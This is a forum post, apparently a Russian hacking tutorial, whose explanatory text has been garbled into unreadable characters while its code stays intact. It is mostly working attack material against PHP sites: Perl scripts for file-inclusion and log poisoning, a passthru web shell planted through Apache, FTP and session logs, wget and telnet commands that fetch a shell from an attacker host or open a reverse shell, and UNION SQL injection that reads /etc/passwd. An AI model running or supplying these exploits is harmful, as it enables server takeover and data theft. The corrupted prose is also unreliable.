��-��

mybb@mybb.ru (Alex1993) — Thu, 02 Jul 2009 23:07:17 +0400

1.��
�� ,�� ,�� SQL,XSS,� �� LFI, RFI, SSI, ICH.� �� ,� �� ;)��.

2.LFI/RFI
2.1.��
�� ,�� ,�� "��" �� ,�� ,�� )
��,�� ,�� :

��:

require($file);
require("includes/".$file);
require("languages/".$lang.".php");
require("themes/".$tema."/config.php");

�� :

Type of call:

��:

require($file);

Exploit:

��:

http://host/?file=/etc/passwd

Type of call:

��:

require("includes/".$file);

Exploit:

��:

http://host/?file=../../../../../etc/passwd

Type of call:

��:

require("languages/".$lang.".php");
require("themes/".$theme."/config.php");

Exploit:

��:

http://host/?file=../../../../../etc/passwd%00

Type of call:

��:

require("languages/".$_COOKIE['lang'].".php");

Exploit:

��:

javascript:document.cookie = "lan=../../../../../etc/passwd%00";

� �� Post �� Get ��:

��:

#! /usr/bin/perl

# perl script to exploit LFI based in GET and POST requests
# Example: http://site.com/index.php?var=
# URL: http://site.com/index.php
# Variable: var
# Method: POST
#
# by Pepelux (pepelux[at]enye-sec[dot]org)

use LWP::UserAgent;
$ua = LWP::UserAgent->new;

my ($host, $var, $method) = @ARGV ;

unless($ARGV[2]) {
print "Usage: perl $0 <url> <vulnerable_var> <method>\n";
print "\tex: perl $0 http://site.com/index.php var GET\n";
print "\tex: perl $0 http://site.com/index.php var POST\n\n";
exit 1;
}

$ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1)");
$ua->timeout(10);
$host = "http://".$host if ($host !~ /^http:/);

while () {
print "file to edit: ";
chomp($file=<STDIN>);

if ($method =~ /GET/) {
$url = $host."?".$var."=../../../../..".$file."%00";
$req = HTTP::Request->new(GET => $url);
$req->header('Accept' => 'text/html');
}
else {
$req = HTTP::Request->new(POST => $host);
$req->content_type('application/x-www-form-urlencoded');
$req->content($var."=../../../../".$file."%00");
}

$res = $ua->request($req);

if ($res->is_success) {
$result = $res->content;
print $result;
}
else { print "Error\n"; }
}

2.2.��
�� ,�� ,�� .
�� :

��:

<? passthru ($ _GET [CMD])?>

�MD-�� GET

�� ,�� :

2.2.1 �� PHP �� Apache
�� , �� Apache �� , � access_log �
error_log.�� .
��, �� error_log ��
�� ,�� :

��:

http://host/xxxxxxx = <? passthru (\ $ _GET [CMD])?>

�� error_log,� �� :
http://host/?file=../../../var/apache/error_log&cmd=ls /etc

��:

http://host/?file=../../../var/apach..._log&cmd=uname -a

�� ,� �� )�� :

��:

/var/log/apache/
/var/log/httpd/
/usr/local/apache/logs/
......

� �� :

��:

/path/host.com/www
/logs
/data

� �� :
http://host/?file=xxxx

� �� :

�� ,�� :
/var/www/host.com/logs

�� ,�� httpd.conf �� :
ErrorLog /var/log/apache/error.log

�� :
ErrorLog /home/chs/host.com/home/logs/error_log

�� ...

�� .��:
/proc/{PID}/fd/{FD_ID} (�� )

� �� :

��:

#! /usr/bin/perl

# perl script to serach apache logs path
# Example:
# URL: http://site/index.php
# Variable: file
# Method: POST
#
# by Pepelux (pepelux[at]enye-sec[dot]org)

use LWP::UserAgent;
$ua = LWP::UserAgent->new;

my ($host, $var, $method) = @ARGV ;

unless($ARGV[2]) {
print "Usage: perl $0 <url> <vulnerable_var> <method>\n";
print "\tex: perl $0 http://site.com/index.php file GET\n";
print "\tex: perl $0 http://site.com/index.php file POST\n\n";
exit 1;
}

$ua->agent("<? passthru(\$_GET[cmd]) ?>");
$ua->timeout(10);
$host = "http://".$host if ($host !~ /^http:/);

if ($method =~ /GET/) {
$url = $host."?".$var."=../../../../proc/self/stat%00";
$req = HTTP::Request->new(GET => $url);
$req->header('Accept' => 'text/html');
}
else {
$req = HTTP::Request->new(POST => $host);
$req->content_type('application/x-www-form-urlencoded');
$req->content($var."=../../../../proc/self/stat%00");
}

$res = $ua->request($req);

if ($res->is_success) {
$result = $res->content;
$result =~ s/<[^>]*>//g;
$x = index($result, " ", 0);
$pid = substr($result, 0, $x);

print "Apache PID: ".$pid."\n";
}

if ($method =~ /GET/) {
$url = $host."?".$var."=../../../../proc/self/status%00";
$req = HTTP::Request->new(GET => $url);
$req->header('Accept' => 'text/html');
}
else {
$req = HTTP::Request->new(POST => $host);
$req->content_type('application/x-www-form-urlencoded');
$req->content($var."=../../../../proc/self/status%00");
}

$res = $ua->request($req);

if ($res->is_success) {
$result = $res->content;
$result =~ s/<[^>]*>//g;
$x = index($result, "FDSize",0)+8;
$fdsize = substr($result, $x, 3);

print "FD_SIZE: ".$fdsize."\n";
}

for ($cont = 0; $cont < $fdsize; $cont++) {
$file = "../../../../proc/".$pid."/fd/".$cont;
open FILE, $file;

while(<FILE>) {
if (($_ =~ /does not exist/) && ($_ =~ /passthru/)) {
print "FD: ".$cont."\n";
exit;
}
}
}

�� :

��:

pepelux:~$ perl proc.pl http://host/index.php page GET
Apache PID: 4191
FD_SIZE: 64
FD: 2

�� ,�� :
http://host/index.php?x = <? passthru (\ $ _GET [CMD])?>

�� :

��:

#! /usr/bin/perl

# perl script to inject a CMD in a web LFI vulnerable
# Example:
# Host: http://host.com
# type: U
#
# by Pepelux (pepelux[at]enye-sec[dot]org)

use LWP::UserAgent;
$ua = LWP::UserAgent->new;

my ($host, $type) = @ARGV ;
$code="<? passthru(\$_GET[cmd]) ?>";

unless($ARGV[1]) {
print "Usage: perl $0 <url> [URI|UAG|REF]\n";
print "\tURI: URI\n";
print "\tUAG: User-Agent\n";
print "\tREF: Referer\n\n";
print "\tex: perl $0 http://host.com URI\n";
exit 1;
}

$host = "http://".$host if ($host !~ /^http:/);

if ($type =~ /UAG/) { $ua->agent($code); }
else { $ua->agent("Mozilla/5.0"); }

if ($type =~ /URI/) { $$host .= "/" . $code; }

$req = HTTP::Request->new(POST => $host);
$req->content_type('application/x-www-form-urlencoded');
$req->content("x=x");

if ($type =~ /REF/) { $req->referer($code); }

$res = $ua->request($req);

�� error_log �� :

��:

pepelux:~$ perl cmd.pl http://host.com/blabla URI

� error_log �� :

��:

[Wed Oct 08 12:50:00 2008] [error] [client 11.22.33.44] File does not
exist: /home/chs/host.com/home/html/blabla

�� User-Agent:

��:

pepelux:~$ perl cmd.pl http://host.com/blabla UAG

� error_log �� :

��:

[Wed Oct 08 12:50:00 2008] [error] [client 11.22.33.44] File does not
exist: /home/chs/host.com/home/html/blabla

�� :

��:

pepelux:~$ perl cmd.pl http://host.com/blabla REF

� �� :

��:

[Wed Oct 08 12:52:54 2008] [error] [client 11.22.33.44] File does not
exist: /home/chs/host.com/home/html/blabla, referer: <? passthru($_GET[cmd])
?>

�� access_log �� "�� "(�� )

��:

pepelux:~$ perl cmd.pl http://host.com/index.php URI

� �� :

��:

11.22.33.44 - - [08/Oct/2008:12:57:39 0200] "POST
/index.php/<? passthru($_GET[cmd]) ?> HTTP/1.1" 301 - "-"
"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008072820
Firefox/3.0.1"

�� User-Agent:

��:

pepelux:~$ perl cmd.pl http://host.com/index.php UAG

��:

11.22.33.44 - - [08/Oct/2008:13:00:05 0200] "POST
/index.php HTTP/1.1" 301 - "-" "<? passthru($_GET[cmd]) ?>"

�� :

��:

pepelux:~$ perl cmd.pl http://host.com/index.php REF

�� :

��:

11.22.33.44 - - [08/Oct/2008:13:00:56 0200] "POST
/index.php HTTP/1.1" 301 - "<? passthru($_GET[cmd]) ?>" "Mozilla/5.0 (X11;
U; Linux i686; en-US; rv:1.9.0.1)Gecko/2008072820 Firefox/3.0.1"

2.2.2.�� PHP �� ,��

�� ,�� User-Agent �� http://host/?file=../../../proc/self/environ&cmd=uname - .�� .��
�� ,��
��:

<? passthru ($ _GET [CMD])?>

� �� http://host/?file=path/avatar.gif&cmd=uname -

�� :

��:

<?php
$user = $_GET['user'];
session_register("user");
session_start();
?>

�� , �� , �� GET
�� -�� .

�� :
��:

http://host/?user = <? passthru ($ _GET [CMD])?>

� �� Cookies �� , ��:
PHPSESSID = b25ca6fea480073cf8eb840b203d343e

�� :

��:

pepelux:~$ more /tmp/sess_b25ca6fea480073cf8eb840b203d343e
user

2.2.3.��

�� -�� ,�� :

��:

pepelux:~$ ftp host.com
220 ProFTPD 1.3.1 Server (Debian) [host.com]
Name (pepelux): <? passthru($_GET[cmd]) ?>
Password:

�� /var/log/proftpd/proftpd.log �� ,�� :

��:

Oct 09 21:50:21 host.com proftpd[11190] host.com
([11.22.33.44]): USER <? passthru($_GET[cmd]) ?>: no such user found
from [11.22.33.44] to host.com:21

�� Webalizer, �� usage_DATE.html �� :

��:

Referer: <? passthru($_GET[cmd]) ?>

� ��, �� Apache �� PUT ��
� �� :

��:

pepelux:~$ telnet host.com 80
Trying 11.22.33.44...
Connected to host.com.
Escape character is '^]'.
OPTIONS / HTTP/1.1

��:

HTTP/1.1 200 OK
Date: Sat, 11 Oct 2008 15:06:05 GMT
Server: Apache/2.2.9 (Debian) PHP/5.2.6-5
Allow: GET,HEAD,POST,PUT,OPTIONS,TRACE
Content-Length: 0
Connection: close
Content-Type: httpd/unix-directory

Connection closed by foreign host.

��:

pepelux:~$ telnet host.com 80
Trying 11.22.33.44...
Connected to host.com.
Escape character is '^]'.
PUT /file.txt HTTP/1.1
Content-Type: text/plain
Content-Length:26

<? passthru($_GET[cmd]) ?>

2.3.��

�� .
�� .�� Wget ��:

��:

http://host/?file=xxxx&cmd=wget http://devil/shell.txt-O shell.php

�� PHP �� )
�� Telnet:

��:

pepelux:~$ nc -vv -l -p 8888
pepelux:~$ nc -vv -l -p 8889

http://host/?file=xxxx&cmd=telnet devil 8888 | /bin/sh | telnet devil 8889

�� allow_url_include � php.ini, �� .�� :
�� :

��:

http://host/?file=http://devil.com/shell.txt
http://host/?file=http://devil.com/shell.txt%00

3Blind SQL-��
�� ,�� http://forum.xaknet.ru/thread5614.html

� ��,�� load_file ��
/etc/passwd

��:

�� :

��:

<?php
$iduser = $_GET['$id'];
$link = mysql_connect("localhost", "mysql_user", "mysql_password");
mysql_select_db("database", $link);

$result = mysql_query("SELECT * FROM users WHERE id=$iduser", $link);
$row = mysql_fetch_array($result);

echo "User mail is:" . $row["mail"] . "\n";
?>

�� ,�� ,�� http://host/?id=2
�� SQL-��:
http://host/?id=2 ORDER BY 1 ... Ok
http://host/?id=2 ORDER BY 2 ... Ok
http://host/?id=2 ORDER BY 3 ... Ok
http://host/?id=2 ORDER BY 4 ... Ok
http://host/?id=2 ORDER BY 5 ... Error

�� 4 ��(�� ):
http://host/?id=-1 UNION SELECT 1,2,3,4

�� :
http://host/?id=2 UNION SELECT 1,2,3,4

�� :

�� :
User mail is: pepelux@host
�� ID =- 1 �� :

��:
http://host/?id=-1 UNION SELECT 1,2,3,4

��:

�� User mail is: 4
�� 4-�� :
http://host/?id=-1 UNION SELECT 1,2,3,load_file('/etc/passwd');
�� ,�� ,��
�� ,�� )))�� :
- http://www.g-brain.net/tutorials/loc...inclusions.txt
- http://ush.it/team/ascii/hack-lfi2rce_proc/lfi2rce.txt
- http://www.securityfocus.com/bid/3473
- http://dev.mysql.com/doc/

(�)baltazar
-------------------------

Rich244

���-���������� ��� ��������� ������� � �������

�������� ���������

��-��

��